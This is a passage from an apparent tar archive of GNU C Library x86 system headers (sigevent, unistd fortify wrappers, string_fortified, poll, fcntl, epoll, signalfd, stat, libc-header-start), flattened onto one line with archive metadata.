General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGEVENT_CONSTS_H #define _BITS_SIGEVENT_CONSTS_H 1 #if !defined _SIGNAL_H && !defined _AIO_H #error "Don't include <bits/sigevent-consts.h> directly; use <signal.h> instead." #endif /* `sigev_notify' values. */ enum { SIGEV_SIGNAL = 0, /* Notify via signal. */ # define SIGEV_SIGNAL SIGEV_SIGNAL SIGEV_NONE, /* Other notification: meaningless. */ # define SIGEV_NONE SIGEV_NONE SIGEV_THREAD, /* Deliver via thread creation. */ # define SIGEV_THREAD SIGEV_THREAD SIGEV_THREAD_ID = 4 /* Send signal to specific thread. This is a Linux extension. */ #define SIGEV_THREAD_ID SIGEV_THREAD_ID }; #endif bits/unistd.h 0000644 00000025074 15246445046 0007206 0 ustar 00 /* Checking macros for unistd functions. Copyright (C) 2005-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _UNISTD_H # error "Never include <bits/unistd.h> directly; use <unistd.h> instead." #endif extern ssize_t __read_chk (int __fd, void *__buf, size_t __nbytes, size_t __buflen) __wur; extern ssize_t __REDIRECT (__read_alias, (int __fd, void *__buf, size_t __nbytes), read) __wur; extern ssize_t __REDIRECT (__read_chk_warn, (int __fd, void *__buf, size_t __nbytes, size_t __buflen), __read_chk) __wur __warnattr ("read called with bigger length than size of " "the destination buffer"); __fortify_function __wur ssize_t read (int __fd, void *__buf, size_t __nbytes) { return __glibc_fortify (read, __nbytes, sizeof (char), __glibc_objsize0 (__buf), __fd, __buf, __nbytes); } #if defined __USE_UNIX98 || defined __USE_XOPEN2K8 extern ssize_t __pread_chk (int __fd, void *__buf, size_t __nbytes, __off_t __offset, size_t __bufsize) __wur; extern ssize_t __pread64_chk (int __fd, void *__buf, size_t __nbytes, __off64_t __offset, size_t __bufsize) __wur; extern ssize_t __REDIRECT (__pread_alias, (int __fd, void *__buf, size_t __nbytes, __off_t __offset), pread) __wur; extern ssize_t __REDIRECT (__pread64_alias, (int __fd, void *__buf, size_t __nbytes, __off64_t __offset), pread64) __wur; extern ssize_t __REDIRECT (__pread_chk_warn, (int __fd, void *__buf, size_t __nbytes, __off_t __offset, size_t __bufsize), __pread_chk) __wur __warnattr ("pread called with bigger length than size of " "the destination buffer"); extern ssize_t __REDIRECT (__pread64_chk_warn, (int __fd, void *__buf, size_t __nbytes, __off64_t __offset, size_t __bufsize), __pread64_chk) __wur __warnattr ("pread64 called with bigger length than size of " "the destination buffer"); # ifndef __USE_FILE_OFFSET64 __fortify_function __wur ssize_t pread (int __fd, void *__buf, size_t __nbytes, __off_t __offset) { return __glibc_fortify (pread, __nbytes, sizeof (char), __glibc_objsize0 (__buf), __fd, __buf, __nbytes, __offset); } # else __fortify_function __wur ssize_t pread (int __fd, void *__buf, size_t __nbytes, __off64_t __offset) { return __glibc_fortify (pread64, __nbytes, sizeof (char), __glibc_objsize0 (__buf), __fd, __buf, __nbytes, __offset); } # endif # ifdef __USE_LARGEFILE64 __fortify_function __wur ssize_t pread64 (int __fd, void *__buf, size_t __nbytes, __off64_t __offset) { return __glibc_fortify (pread64, __nbytes, sizeof (char), __glibc_objsize0 (__buf), __fd, __buf, __nbytes, __offset); } # endif #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K extern ssize_t __readlink_chk (const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen) __THROW __nonnull ((1, 2)) __wur; extern ssize_t __REDIRECT_NTH (__readlink_alias, (const char *__restrict __path, char *__restrict __buf, size_t __len), readlink) __nonnull ((1, 2)) __wur; extern ssize_t __REDIRECT_NTH (__readlink_chk_warn, (const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen), __readlink_chk) __nonnull ((1, 2)) __wur __warnattr ("readlink called with bigger length " "than size of destination buffer"); __fortify_function __nonnull ((1, 2)) __wur ssize_t __NTH (readlink (const char *__restrict __path, char *__restrict __buf, size_t __len)) { return __glibc_fortify (readlink, __len, sizeof (char), __glibc_objsize (__buf), __path, __buf, __len); } #endif #ifdef __USE_ATFILE extern ssize_t __readlinkat_chk (int __fd, const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen) __THROW __nonnull ((2, 3)) __wur; extern ssize_t __REDIRECT_NTH (__readlinkat_alias, (int __fd, const char *__restrict __path, char *__restrict __buf, size_t __len), readlinkat) __nonnull ((2, 3)) __wur; extern ssize_t __REDIRECT_NTH (__readlinkat_chk_warn, (int __fd, const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen), __readlinkat_chk) __nonnull ((2, 3)) __wur __warnattr ("readlinkat called with bigger " "length than size of destination " "buffer"); __fortify_function __nonnull ((2, 3)) __wur ssize_t __NTH (readlinkat (int __fd, const char *__restrict __path, char *__restrict __buf, size_t __len)) { return __glibc_fortify (readlinkat, __len, sizeof (char), __glibc_objsize (__buf), __fd, __path, __buf, __len); } #endif extern char *__getcwd_chk (char *__buf, size_t __size, size_t __buflen) __THROW __wur; extern char *__REDIRECT_NTH (__getcwd_alias, (char *__buf, size_t __size), getcwd) __wur; extern char *__REDIRECT_NTH (__getcwd_chk_warn, (char *__buf, size_t __size, size_t __buflen), __getcwd_chk) __wur __warnattr ("getcwd caller with bigger length than size of " "destination buffer"); __fortify_function __wur char * __NTH (getcwd (char *__buf, size_t __size)) { return __glibc_fortify (getcwd, __size, sizeof (char), __glibc_objsize (__buf), __buf, __size); } #if defined __USE_MISC || defined __USE_XOPEN_EXTENDED extern char *__getwd_chk (char *__buf, size_t buflen) __THROW __nonnull ((1)) __wur; extern char *__REDIRECT_NTH (__getwd_warn, (char *__buf), getwd) __nonnull ((1)) __wur __warnattr ("please use getcwd instead, as getwd " "doesn't specify buffer size"); __fortify_function __nonnull ((1)) __attribute_deprecated__ __wur char * __NTH (getwd (char *__buf)) { if (__glibc_objsize (__buf) != (size_t) -1) return __getwd_chk (__buf, __glibc_objsize (__buf)); return __getwd_warn (__buf); } #endif extern size_t __confstr_chk (int __name, char *__buf, size_t __len, size_t __buflen) __THROW; extern size_t __REDIRECT_NTH (__confstr_alias, (int __name, char *__buf, size_t __len), confstr); extern size_t __REDIRECT_NTH (__confstr_chk_warn, (int __name, char *__buf, size_t __len, size_t __buflen), __confstr_chk) __warnattr ("confstr called with bigger length than size of destination " "buffer"); __fortify_function size_t __NTH (confstr (int __name, char *__buf, size_t __len)) { return __glibc_fortify (confstr, __len, sizeof (char), __glibc_objsize (__buf), __name, __buf, __len); } extern int __getgroups_chk (int __size, __gid_t __list[], size_t __listlen) __THROW __wur; extern int __REDIRECT_NTH (__getgroups_alias, (int __size, __gid_t __list[]), getgroups) __wur; extern int __REDIRECT_NTH (__getgroups_chk_warn, (int __size, __gid_t __list[], size_t __listlen), __getgroups_chk) __wur __warnattr ("getgroups called with bigger group count than what " "can fit into destination buffer"); __fortify_function int __NTH (getgroups (int __size, __gid_t __list[])) { return __glibc_fortify (getgroups, __size, sizeof (__gid_t), __glibc_objsize (__list), __size, __list); } extern int __ttyname_r_chk (int __fd, char *__buf, size_t __buflen, size_t __nreal) __THROW __nonnull ((2)); extern int __REDIRECT_NTH (__ttyname_r_alias, (int __fd, char *__buf, size_t __buflen), ttyname_r) __nonnull ((2)); extern int __REDIRECT_NTH (__ttyname_r_chk_warn, (int __fd, char *__buf, size_t __buflen, size_t __nreal), __ttyname_r_chk) __nonnull ((2)) __warnattr ("ttyname_r called with bigger buflen than " "size of destination buffer"); __fortify_function int __NTH (ttyname_r (int __fd, char *__buf, size_t __buflen)) { return __glibc_fortify (ttyname_r, __buflen, sizeof (char), __glibc_objsize (__buf), __fd, __buf, __buflen); } #ifdef __USE_POSIX199506 extern int __getlogin_r_chk (char *__buf, size_t __buflen, size_t __nreal) __nonnull ((1)); extern int __REDIRECT (__getlogin_r_alias, (char *__buf, size_t __buflen), getlogin_r) __nonnull ((1)); extern int __REDIRECT (__getlogin_r_chk_warn, (char *__buf, size_t __buflen, size_t __nreal), __getlogin_r_chk) __nonnull ((1)) __warnattr ("getlogin_r called with bigger buflen than " "size of destination buffer"); __fortify_function int getlogin_r (char *__buf, size_t __buflen) { return __glibc_fortify (getlogin_r, __buflen, sizeof (char), __glibc_objsize (__buf), __buf, __buflen); } #endif #if defined __USE_MISC || defined __USE_UNIX98 extern int __gethostname_chk (char *__buf, size_t __buflen, size_t __nreal) __THROW __nonnull ((1)); extern int __REDIRECT_NTH (__gethostname_alias, (char *__buf, size_t __buflen), gethostname) __nonnull ((1)); extern int __REDIRECT_NTH (__gethostname_chk_warn, (char *__buf, size_t __buflen, size_t __nreal), __gethostname_chk) __nonnull ((1)) __warnattr ("gethostname called with bigger buflen than " "size of destination buffer"); __fortify_function int __NTH (gethostname (char *__buf, size_t __buflen)) { return __glibc_fortify (gethostname, __buflen, sizeof (char), __glibc_objsize (__buf), __buf, __buflen); } #endif #if defined __USE_MISC || (defined __USE_XOPEN && !defined __USE_UNIX98) extern int __getdomainname_chk (char *__buf, size_t __buflen, size_t __nreal) __THROW __nonnull ((1)) __wur; extern int __REDIRECT_NTH (__getdomainname_alias, (char *__buf, size_t __buflen), getdomainname) __nonnull ((1)) __wur; extern int __REDIRECT_NTH (__getdomainname_chk_warn, (char *__buf, size_t __buflen, size_t __nreal), __getdomainname_chk) __nonnull ((1)) __wur __warnattr ("getdomainname called with bigger " "buflen than size of destination " "buffer"); __fortify_function int __NTH (getdomainname (char *__buf, size_t __buflen)) { return __glibc_fortify (getdomainname, __buflen, sizeof (char), __glibc_objsize (__buf), __buf, __buflen); } #endif bits/string_fortified.h 0000644 00000011113 15246445046 0011226 0 ustar 00 /* Copyright (C) 2004-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_STRING_FORTIFIED_H #define _BITS_STRING_FORTIFIED_H 1 #ifndef _STRING_H # error "Never use <bits/string_fortified.h> directly; include <string.h> instead." #endif #if !__GNUC_PREREQ (5,0) __warndecl (__warn_memset_zero_len, "memset used with constant zero length parameter; this could be due to transposed parameters"); #endif __fortify_function void * __NTH (memcpy (void *__restrict __dest, const void *__restrict __src, size_t __len)) { return __builtin___memcpy_chk (__dest, __src, __len, __glibc_objsize0 (__dest)); } __fortify_function void * __NTH (memmove (void *__dest, const void *__src, size_t __len)) { return __builtin___memmove_chk (__dest, __src, __len, __glibc_objsize0 (__dest)); } #ifdef __USE_GNU __fortify_function void * __NTH (mempcpy (void *__restrict __dest, const void *__restrict __src, size_t __len)) { return __builtin___mempcpy_chk (__dest, __src, __len, __glibc_objsize0 (__dest)); } #endif /* The first two tests here help to catch a somewhat common problem where the second and third parameter are transposed. This is especially problematic if the intended fill value is zero. In this case no work is done at all. We detect these problems by referring non-existing functions. */ __fortify_function void * __NTH (memset (void *__dest, int __ch, size_t __len)) { /* GCC-5.0 and newer implements these checks in the compiler, so we don't need them here. */ #if !__GNUC_PREREQ (5,0) if (__builtin_constant_p (__len) && __len == 0 && (!__builtin_constant_p (__ch) || __ch != 0)) { __warn_memset_zero_len (); return __dest; } #endif return __builtin___memset_chk (__dest, __ch, __len, __glibc_objsize0 (__dest)); } #ifdef __USE_MISC # include <bits/strings_fortified.h> void __explicit_bzero_chk (void *__dest, size_t __len, size_t __destlen) __THROW __nonnull ((1)); __fortify_function void __NTH (explicit_bzero (void *__dest, size_t __len)) { __explicit_bzero_chk (__dest, __len, __glibc_objsize0 (__dest)); } #endif __fortify_function char * __NTH (strcpy (char *__restrict __dest, const char *__restrict __src)) { return __builtin___strcpy_chk (__dest, __src, __glibc_objsize (__dest)); } #ifdef __USE_XOPEN2K8 __fortify_function char * __NTH (stpcpy (char *__restrict __dest, const char *__restrict __src)) { return __builtin___stpcpy_chk (__dest, __src, __glibc_objsize (__dest)); } #endif __fortify_function char * __NTH (strncpy (char *__restrict __dest, const char *__restrict __src, size_t __len)) { return __builtin___strncpy_chk (__dest, __src, __len, __glibc_objsize (__dest)); } #ifdef __USE_XOPEN2K8 # if __GNUC_PREREQ (4, 7) || __glibc_clang_prereq (2, 6) __fortify_function char * __NTH (stpncpy (char *__dest, const char *__src, size_t __n)) { return __builtin___stpncpy_chk (__dest, __src, __n, __glibc_objsize (__dest)); } # else extern char *__stpncpy_chk (char *__dest, const char *__src, size_t __n, size_t __destlen) __THROW; extern char *__REDIRECT_NTH (__stpncpy_alias, (char *__dest, const char *__src, size_t __n), stpncpy); __fortify_function char * __NTH (stpncpy (char *__dest, const char *__src, size_t __n)) { if (__bos (__dest) != (size_t) -1 && (!__builtin_constant_p (__n) || __n > __bos (__dest))) return __stpncpy_chk (__dest, __src, __n, __bos (__dest)); return __stpncpy_alias (__dest, __src, __n); } # endif #endif __fortify_function char * __NTH (strcat (char *__restrict __dest, const char *__restrict __src)) { return __builtin___strcat_chk (__dest, __src, __glibc_objsize (__dest)); } __fortify_function char * __NTH (strncat (char *__restrict __dest, const char *__restrict __src, size_t __len)) { return __builtin___strncat_chk (__dest, __src, __len, __glibc_objsize (__dest)); } #endif /* bits/string_fortified.h */ bits/poll.h 0000644 00000004033 15246445046 0006636 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_POLL_H # error "Never use <bits/poll.h> directly; include <sys/poll.h> instead." #endif /* Event types that can be polled for. These bits may be set in `events' to indicate the interesting event types; they will appear in `revents' to indicate the status of the file descriptor. */ #define POLLIN 0x001 /* There is data to read. */ #define POLLPRI 0x002 /* There is urgent data to read. */ #define POLLOUT 0x004 /* Writing now will not block. */ #if defined __USE_XOPEN || defined __USE_XOPEN2K8 /* These values are defined in XPG4.2. */ # define POLLRDNORM 0x040 /* Normal data may be read. */ # define POLLRDBAND 0x080 /* Priority data may be read. */ # define POLLWRNORM 0x100 /* Writing now will not block. */ # define POLLWRBAND 0x200 /* Priority data may be written. */ #endif #ifdef __USE_GNU /* These are extensions for Linux. */ # define POLLMSG 0x400 # define POLLREMOVE 0x1000 # define POLLRDHUP 0x2000 #endif /* Event types always implicitly polled for. These bits need not be set in `events', but they will appear in `revents' to indicate the status of the file descriptor. */ #define POLLERR 0x008 /* Error condition. */ #define POLLHUP 0x010 /* Hung up. */ #define POLLNVAL 0x020 /* Invalid polling request. */ bits/fcntl.h 0000644 00000004305 15246445046 0007000 0 ustar 00 /* O_*, F_*, FD_* bit values for Linux/x86. Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _FCNTL_H # error "Never use <bits/fcntl.h> directly; include <fcntl.h> instead." #endif #ifdef __x86_64__ # define __O_LARGEFILE 0 #endif #ifdef __x86_64__ /* Not necessary, we always have 64-bit offsets. */ # define F_GETLK64 5 /* Get record locking info. */ # define F_SETLK64 6 /* Set record locking info (non-blocking). */ # define F_SETLKW64 7 /* Set record locking info (blocking). */ #endif struct flock { short int l_type; /* Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK. */ short int l_whence; /* Where `l_start' is relative to (like `lseek'). */ #ifndef __USE_FILE_OFFSET64 __off_t l_start; /* Offset where the lock begins. */ __off_t l_len; /* Size of the locked area; zero means until EOF. */ #else __off64_t l_start; /* Offset where the lock begins. */ __off64_t l_len; /* Size of the locked area; zero means until EOF. */ #endif __pid_t l_pid; /* Process holding the lock. */ }; #ifdef __USE_LARGEFILE64 struct flock64 { short int l_type; /* Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK. */ short int l_whence; /* Where `l_start' is relative to (like `lseek'). */ __off64_t l_start; /* Offset where the lock begins. */ __off64_t l_len; /* Size of the locked area; zero means until EOF. */ __pid_t l_pid; /* Process holding the lock. */ }; #endif /* Include generic Linux declarations. */ #include <bits/fcntl-linux.h> bits/epoll.h 0000644 00000002056 15246445046 0007006 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_EPOLL_H # error "Never use <bits/epoll.h> directly; include <sys/epoll.h> instead." #endif /* Flags to be passed to epoll_create1. */ enum { EPOLL_CLOEXEC = 02000000 #define EPOLL_CLOEXEC EPOLL_CLOEXEC }; #define __EPOLL_PACKED __attribute__ ((__packed__)) bits/stdlib-float.h 0000644 00000002132 15246445046 0010252 0 ustar 00 /* Floating-point inline functions for stdlib.h. Copyright (C) 2012-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _STDLIB_H # error "Never use <bits/stdlib-float.h> directly; include <stdlib.h> instead." #endif #ifdef __USE_EXTERN_INLINES __extern_inline double __NTH (atof (const char *__nptr)) { return strtod (__nptr, (char **) NULL); } #endif /* Optimizing and Inlining. */ bits/signalfd.h 0000644 00000002052 15246445046 0007456 0 ustar 00 /* Copyright (C) 2007-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SIGNALFD_H # error "Never use <bits/signalfd.h> directly; include <sys/signalfd.h> instead." #endif /* Flags for signalfd. */ enum { SFD_CLOEXEC = 02000000, #define SFD_CLOEXEC SFD_CLOEXEC SFD_NONBLOCK = 00004000 #define SFD_NONBLOCK SFD_NONBLOCK }; bits/stat.h 0000644 00000016703 15246445046 0006652 0 ustar 00 /* Copyright (C) 1999-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #if !defined _SYS_STAT_H && !defined _FCNTL_H # error "Never include <bits/stat.h> directly; use <sys/stat.h> instead." #endif #ifndef _BITS_STAT_H #define _BITS_STAT_H 1 /* Versions of the `struct stat' data structure. */ #ifndef __x86_64__ # define _STAT_VER_LINUX_OLD 1 # define _STAT_VER_KERNEL 1 # define _STAT_VER_SVR4 2 # define _STAT_VER_LINUX 3 /* i386 versions of the `xmknod' interface. */ # define _MKNOD_VER_LINUX 1 # define _MKNOD_VER_SVR4 2 # define _MKNOD_VER _MKNOD_VER_LINUX /* The bits defined below. */ #else # define _STAT_VER_KERNEL 0 # define _STAT_VER_LINUX 1 /* x86-64 versions of the `xmknod' interface. */ # define _MKNOD_VER_LINUX 0 #endif #define _STAT_VER _STAT_VER_LINUX struct stat { __dev_t st_dev; /* Device. */ #ifndef __x86_64__ unsigned short int __pad1; #endif #if defined __x86_64__ || !defined __USE_FILE_OFFSET64 __ino_t st_ino; /* File serial number. */ #else __ino_t __st_ino; /* 32bit file serial number. */ #endif #ifndef __x86_64__ __mode_t st_mode; /* File mode. */ __nlink_t st_nlink; /* Link count. */ #else __nlink_t st_nlink; /* Link count. */ __mode_t st_mode; /* File mode. */ #endif __uid_t st_uid; /* User ID of the file's owner. */ __gid_t st_gid; /* Group ID of the file's group.*/ #ifdef __x86_64__ int __pad0; #endif __dev_t st_rdev; /* Device number, if device. */ #ifndef __x86_64__ unsigned short int __pad2; #endif #if defined __x86_64__ || !defined __USE_FILE_OFFSET64 __off_t st_size; /* Size of file, in bytes. */ #else __off64_t st_size; /* Size of file, in bytes. */ #endif __blksize_t st_blksize; /* Optimal block size for I/O. */ #if defined __x86_64__ || !defined __USE_FILE_OFFSET64 __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */ #else __blkcnt64_t st_blocks; /* Number 512-byte blocks allocated. */ #endif #ifdef __USE_XOPEN2K8 /* Nanosecond resolution timestamps are stored in a format equivalent to 'struct timespec'. This is the type used whenever possible but the Unix namespace rules do not allow the identifier 'timespec' to appear in the <sys/stat.h> header. Therefore we have to handle the use of this header in strictly standard-compliant sources special. */ struct timespec st_atim; /* Time of last access. */ struct timespec st_mtim; /* Time of last modification. */ struct timespec st_ctim; /* Time of last status change. */ # define st_atime st_atim.tv_sec /* Backward compatibility. */ # define st_mtime st_mtim.tv_sec # define st_ctime st_ctim.tv_sec #else __time_t st_atime; /* Time of last access. */ __syscall_ulong_t st_atimensec; /* Nscecs of last access. */ __time_t st_mtime; /* Time of last modification. */ __syscall_ulong_t st_mtimensec; /* Nsecs of last modification. */ __time_t st_ctime; /* Time of last status change. */ __syscall_ulong_t st_ctimensec; /* Nsecs of last status change. */ #endif #ifdef __x86_64__ __syscall_slong_t __glibc_reserved[3]; #else # ifndef __USE_FILE_OFFSET64 unsigned long int __glibc_reserved4; unsigned long int __glibc_reserved5; # else __ino64_t st_ino; /* File serial number. */ # endif #endif }; #ifdef __USE_LARGEFILE64 /* Note stat64 has the same shape as stat for x86-64. */ struct stat64 { __dev_t st_dev; /* Device. */ # ifdef __x86_64__ __ino64_t st_ino; /* File serial number. */ __nlink_t st_nlink; /* Link count. */ __mode_t st_mode; /* File mode. */ # else unsigned int __pad1; __ino_t __st_ino; /* 32bit file serial number. */ __mode_t st_mode; /* File mode. */ __nlink_t st_nlink; /* Link count. */ # endif __uid_t st_uid; /* User ID of the file's owner. */ __gid_t st_gid; /* Group ID of the file's group.*/ # ifdef __x86_64__ int __pad0; __dev_t st_rdev; /* Device number, if device. */ __off_t st_size; /* Size of file, in bytes. */ # else __dev_t st_rdev; /* Device number, if device. */ unsigned int __pad2; __off64_t st_size; /* Size of file, in bytes. */ # endif __blksize_t st_blksize; /* Optimal block size for I/O. */ __blkcnt64_t st_blocks; /* Nr. 512-byte blocks allocated. */ # ifdef __USE_XOPEN2K8 /* Nanosecond resolution timestamps are stored in a format equivalent to 'struct timespec'. This is the type used whenever possible but the Unix namespace rules do not allow the identifier 'timespec' to appear in the <sys/stat.h> header. Therefore we have to handle the use of this header in strictly standard-compliant sources special. */ struct timespec st_atim; /* Time of last access. */ struct timespec st_mtim; /* Time of last modification. */ struct timespec st_ctim; /* Time of last status change. */ # else __time_t st_atime; /* Time of last access. */ __syscall_ulong_t st_atimensec; /* Nscecs of last access. */ __time_t st_mtime; /* Time of last modification. */ __syscall_ulong_t st_mtimensec; /* Nsecs of last modification. */ __time_t st_ctime; /* Time of last status change. */ __syscall_ulong_t st_ctimensec; /* Nsecs of last status change. */ # endif # ifdef __x86_64__ __syscall_slong_t __glibc_reserved[3]; # else __ino64_t st_ino; /* File serial number. */ # endif }; #endif /* Tell code we have these members. */ #define _STATBUF_ST_BLKSIZE #define _STATBUF_ST_RDEV /* Nanosecond resolution time values are supported. */ #define _STATBUF_ST_NSEC /* Encoding of the file mode. */ #define __S_IFMT 0170000 /* These bits determine file type. */ /* File types. */ #define __S_IFDIR 0040000 /* Directory. */ #define __S_IFCHR 0020000 /* Character device. */ #define __S_IFBLK 0060000 /* Block device. */ #define __S_IFREG 0100000 /* Regular file. */ #define __S_IFIFO 0010000 /* FIFO. */ #define __S_IFLNK 0120000 /* Symbolic link. */ #define __S_IFSOCK 0140000 /* Socket. */ /* POSIX.1b objects. Note that these macros always evaluate to zero. But they do it by enforcing the correct use of the macros. */ #define __S_TYPEISMQ(buf) ((buf)->st_mode - (buf)->st_mode) #define __S_TYPEISSEM(buf) ((buf)->st_mode - (buf)->st_mode) #define __S_TYPEISSHM(buf) ((buf)->st_mode - (buf)->st_mode) /* Protection bits. */ #define __S_ISUID 04000 /* Set user ID on execution. */ #define __S_ISGID 02000 /* Set group ID on execution. */ #define __S_ISVTX 01000 /* Save swapped text after use (sticky). */ #define __S_IREAD 0400 /* Read by owner. */ #define __S_IWRITE 0200 /* Write by owner. */ #define __S_IEXEC 0100 /* Execute by owner. */ #ifdef __USE_ATFILE # define UTIME_NOW ((1l << 30) - 1l) # define UTIME_OMIT ((1l << 30) - 2l) #endif #endif /* bits/stat.h */ bits/libc-header-start.h 0000644 00000005057 15246445046 0011171 0 ustar 00 /* Handle feature test macros at the start of a header. Copyright (C) 2016-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This header is internal to glibc and should not be included outside of glibc headers. Headers including it must define __GLIBC_INTERNAL_STARTING_HEADER_IMPLEMENTATION first. This header cannot have multiple include guards because ISO C feature test macros depend on the definition of the macro when an affected header is included, not when the first system header is included. */ #ifndef __GLIBC_INTERNAL_STARTING_HEADER_IMPLEMENTATION # error "Never include <bits/libc-header-start.h> directly." #endif #undef __GLIBC_INTERNAL_STARTING_HEADER_IMPLEMENTATION #include <features.h> /* ISO/IEC TR 24731-2:2010 defines the __STDC_WANT_LIB_EXT2__ macro. */ #undef __GLIBC_USE_LIB_EXT2 #if (defined __USE_GNU \ || (defined __STDC_WANT_LIB_EXT2__ && __STDC_WANT_LIB_EXT2__ > 0)) # define __GLIBC_USE_LIB_EXT2 1 #else # define __GLIBC_USE_LIB_EXT2 0 #endif /* ISO/IEC TS 18661-1:2014 defines the __STDC_WANT_IEC_60559_BFP_EXT__ macro. */ #undef __GLIBC_USE_IEC_60559_BFP_EXT #if defined __USE_GNU || defined __STDC_WANT_IEC_60559_BFP_EXT__ # define __GLIBC_USE_IEC_60559_BFP_EXT 1 #else # define __GLIBC_USE_IEC_60559_BFP_EXT 0 #endif /* ISO/IEC TS 18661-4:2015 defines the __STDC_WANT_IEC_60559_FUNCS_EXT__ macro. */ #undef __GLIBC_USE_IEC_60559_FUNCS_EXT #if defined __USE_GNU || defined __STDC_WANT_IEC_60559_FUNCS_EXT__ # define __GLIBC_USE_IEC_60559_FUNCS_EXT 1 #else # define __GLIBC_USE_IEC_60559_FUNCS_EXT 0 #endif /* ISO/IEC TS 18661-3:2015 defines the __STDC_WANT_IEC_60559_TYPES_EXT__ macro. */ #undef __GLIBC_USE_IEC_60559_TYPES_EXT #if defined __USE_GNU || defined __STDC_WANT_IEC_60559_TYPES_EXT__ # define __GLIBC_USE_IEC_60559_TYPES_EXT 1 #else # define __GLIBC_USE_IEC_60559_TYPES_EXT 0 #endif bits/pthreadtypes-arch.h 0000644 00000006332 15246445046 0011323 0 